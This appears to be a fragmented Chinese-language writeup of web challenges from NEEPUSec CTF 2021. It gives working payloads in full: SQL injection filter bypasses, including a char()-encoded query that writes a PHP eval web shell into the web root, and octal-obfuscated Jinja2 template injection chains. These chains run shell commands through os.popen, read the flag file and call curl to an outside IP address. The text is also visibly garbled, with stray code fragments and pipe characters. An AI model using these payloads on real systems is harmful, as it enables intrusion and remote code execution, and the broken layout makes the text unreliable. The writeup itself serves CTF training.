NEEPUSec CTF 2021 公开赛官方writeup
linux

随便注2.0
return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject); |
3";%20show%20databases;%23 |
1';PREPARE hacker from concat(char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,50,51,93,41,32,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,49,46,112,104,112,39 |
0';table%09information_schema.schemata;%23 |
0'%0aor%0a1=1%23 |
https://wiki.jikexueyuan.com/project/mysql/useful-functions/string-functions.html#HEX
<html> |
官方wp:
0';PREPARE%0cricky%0cfrom%0cconcat('sel','ect%0cflag%0cfrom%0c`@Neepu2021招新赛`');EXECUTE%0cricky;%23 |
最强大脑
#!/usr/bin/env python |
官方wp:
# -*-coding:utf-8-*- |
The_myth_of_Aladdin
ssti

config|attr("__class__") |
The_myth_of_Aladdin
知识点: SSTI 模板注入, 八进制绕过, cut 截断读取文件
探测是否存在 SSTI
{%print(7-5)%} |
然后测试发现禁用了很多类, 可以使用双引号, 尝试后发现八进制可以注入
{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls")["\162\145\141\144"]())%} |
发现空格被禁用,尝试用%09代替,注入后读取根目录的 flag
{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls%09/")["\162\145\141\144"]())%} |
发现一些指令和 flag 文件名被禁用,尝试字符串拼接读取,发现还是被过滤了
猜测是匹配了flag的框架 Neepu{ ,尝试用 cut 截断数组带出
{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("c""ut%09-c%092-40%09/fl""ag")["\162\145\141\144"]())%} |
得到 flag
{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("/143/165/162/154/40/150/164/164/160/72/57/57/64/67/56/71/64/56/60/56/62/65/60/72/61")["\162\145\141\144"]())%} |
gamebox
扫描出来smarty/ 感觉是smarty ssti但是不是!

还真是!
哭了!弱口令都没进去!
a'='0 |
#!/usr/bin/env python |
{$smarty.version} |
import re |
upload_club
<title>neepu_sec.club</title> |
官方wp
https://www.anquanke.com/post/id/242237#h3-12

